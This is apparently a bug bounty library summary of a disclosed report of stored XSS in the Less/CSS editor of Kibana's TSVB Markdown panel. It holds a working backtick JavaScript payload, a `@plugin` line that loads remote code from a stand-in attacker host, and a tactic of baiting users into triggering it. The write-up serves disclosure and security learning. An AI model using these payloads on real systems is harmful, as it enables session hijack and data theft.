# Stored XSS in TSVB Visualizations Markdown Panel

TSVB Markdown panel's Less/CSS editor executes inline JS and remote Less plugins, giving stored XSS against Kibana users who edit the visualization.

- Payout: hidden
- Severity: high
- Program: Elastic
- Found by: jeremybuis
- Disclosed: 2020-07-28
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/858874
- Library page: https://bugbountylibrary.com/r/h1%3A858874
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:hackerone sev:high tech:nodejs technique:source-review vuln:xss

**Target:** TSVB visualization Markdown panel custom CSS/Less editor
**Root cause:** Less compiler runs with javascriptEnabled, so backtick expressions and @plugin imports execute arbitrary JavaScript when the Less is processed.
**Steps:**
1. Create TSVB visualization, open Markdown > Panel options
2. Enter `body { color: `confirm('XSS')`; }` in custom CSS editor
3. Observe confirm dialog fires on render
4. Save visualization; another user editing the Less triggers the payload
5. Alternate: `@plugin "https://attacker/plugin"` loads remote JS without .js extension
**How found:** Noticed the Markdown panel accepts Less and that Less supports inline JS backticks and @plugin imports, then tested both in the CSS editor.
**Exploitation:** Attacker saves a visualization/dashboard with malicious Less; victim who opens or edits the custom CSS executes attacker JS in Kibana origin, enabling session hijack and data exfiltration.
**Escalation:** Embed in shared dashboard and bait other users into fixing broken CSS to trigger payload.
**Insight:** When a product exposes a CSS preprocessor (Less/Sass) to users, test backtick JS evaluation and @plugin/@import remote loading—both bypass naive CSS sanitization.